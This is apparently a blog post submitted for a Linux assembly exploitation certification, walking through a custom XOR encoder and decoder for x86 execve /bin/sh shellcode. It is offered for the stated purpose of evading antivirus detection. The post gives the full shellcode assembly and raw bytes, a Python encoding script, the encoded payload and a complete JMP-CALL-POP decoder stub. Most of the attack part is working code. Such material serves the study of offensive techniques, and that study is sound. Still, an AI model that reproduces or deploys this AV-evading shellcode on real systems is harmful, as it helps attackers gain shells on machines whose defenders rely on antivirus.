Shellcoding Linux x86 – Custom Encoder – Assignment 4

This post has been created for completing the requirements of the Pentester Academy Linux Assembly Expert Certification.

Student ID: PA-8535

I’m going to create a custom encoder/decoder to modify an original shellcode and after recover it and execute it. The purpose of this kind of techniques is to evade av protection.

For this exercise I’m going to use a shellcode that I’ve already wrote following the SLAE course material. This code is going to pop an bin/sh shell using excve system call. Here you can read the code:

; Filename: execve-stack.nasm
; Author:  Vivek Ramachandran
; Website:  https://www.pentesteracademy.com

global _start			

section .text
_start:

	; PUSH the first null dword 
	xor eax, eax
	push eax


	; PUSH //bin/sh (8 bytes) 

	push 0x68732f2f
	push 0x6e69622f


	mov ebx, esp

	push eax
	mov edx, esp

	push ebx
	mov ecx, esp


	mov al, 11
	int 0x80

And this is the shellcode:

"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80"

I’ve already wrote an article that explains step by step how to create this code. This article follows the SLAE course explanation to generate this shellcode:

For this exercise also I’m going to use JMP-CALL-POP technique, that is already taught in SLAE course. Here I wrote 2 more articles that contains step by step how to use it:


Now that we already understand how JMP-CALL-POP and STACK techniques work, and how to implement and execve /bin/sh shellcode, I can start with the explanation of this assignment.

My idea for this encoder is the following one, we are going to XOR the first byte for 0x01, the second one for 0x02, the third one for 0x03, and so on.

I try to explain it graphically with the following table:

ShellcodeByte 1Byte 2Byte3Byte4Byte5
XOR
Key
0102030405

Doing this we face multiple problems, if we XOR a value for the same value we can generate a null byte for example, and our shellcode won’t work, this can generate us a lot of bad characters.

To avoid this I manually checked the original shellcode and I saw that the lower hex value that we are using is 0x0B that is 11 in decimal. So I decided to customize the encoding to try to avoid this problems, and also to add a bit of complexity.

We have a shellcode of 25 characters. We are going to XOR the first 10 ones for the values: 0x01, 0x02, 0x03 … until 0x0A (value 10). Then, we are going to start again from the value 0x01 until the value 0x10.

So in conclusion, we are going to XOR the first 10 characters, for values 1 to 10, the positions 11 to 20 for the values 1 to 10. And the positions 21 to 25 for the values 1 to 5.

ShellcodePos 1-10Pos 11-20Pos 21-25
XOR Keys1 to 101 to 101 to 5

To implement this, first of all I created the following python encoder:

#!/usr/bin/python
# Autor: Xavi Beltran
# Date: 05/05/2019

shellcode = ("\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80")

encoded = ""
encoded2 = ""

print 'Encoded shellcode ...'

i = 1
for x in bytearray(shellcode) :

	if  i == 11:
		i = 1
	y = x^i
	encoded += '\\x'
	encoded += '%02x' % y

	encoded2 += '0x'
	encoded2 += '%02x,' %y
	
	i = i + 0x01

print encoded

print encoded2

print 'Len: %d' % len(bytearray(shellcode))

If we use it, to encode the /bin/sh execve original code we are going to generate the following shellcode:

0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85

Now it’s time to prepare the decoder. We need to decode the original code using XOR operation, and increment the xor-key in 1 until we arrive to value 0x0B. When we detect that the dl counter has an 0x0B, we are going to restart the counter and set it to 1 and start the loop again.

We can do that, with the following piece of code:

<... CODE ...>
xor edx, edx
mov dl, 1 ; initialize dl to value 1

<... CODE ...>
; Decode function
decode:
	cmp dl, 0x0b ; Identify if we found a 0x0B
	jz xor_counter ; Jmp to reset counter if the compare operation is not 0
	xor byte [esi], dl ; XOR operation using xor key that is stored in dl
	inc esi ; increment counter 1
	inc dl ; increment counter 2
	loop decode

	jmp short Shellcode ; Jmp to the final decoded shellcode

xor_counter:
	mov dl, 1 ; Reset counter
	jmp decode

<... CODE ...>

If we put everything together, we get the final assembly code that is the following one:

; Filename: xor-decoder-multiple-keys.nasm
; Author:  Xavi Beltran
; Date: 05/05/2019

global _start			

section .text
_start:

	xor edx, edx
	mov dl, 1
	jmp short call_decoder

decoder:
	pop esi
	xor ecx, ecx
	mov cl, 25


decode:
	cmp dl, 0x0b
	jz xor_counter
	xor byte [esi], dl
	inc esi
	inc dl
	loop decode

	jmp short Shellcode

xor_counter:
	mov dl, 1
	jmp decode

call_decoder:

	call decoder
	Shellcode: db 0x30,0xc2,0x53,0x6c,0x2a,0x29,0x74,0x60,0x61,0x25,0x63,0x6b,0x6d,0x8d,0xe6,0x56,0x8e,0xea,0x5a,0x83,0xe0,0xb2,0x08,0xc9,0x85

Finally, here you can see a screenshot, of the code working! 🙂

As in the other assignments, you can find all the code used in my Github account:

https://github.com/socket8088/Shellcoding-Linux-x86/tree/master/SLAE/Assignment4

Also, I submitted the code to Exploit-DB database, you can find it in the link below:

https://www.exploit-db.com/exploits/46800

That’s all for this exercise. This assignment was difficult but interesting!

This entry was posted in Exploiting and tagged , , , , , , , , . Bookmark the permalink.

Leave a Reply

Your email address will not be published. Required fields are marked *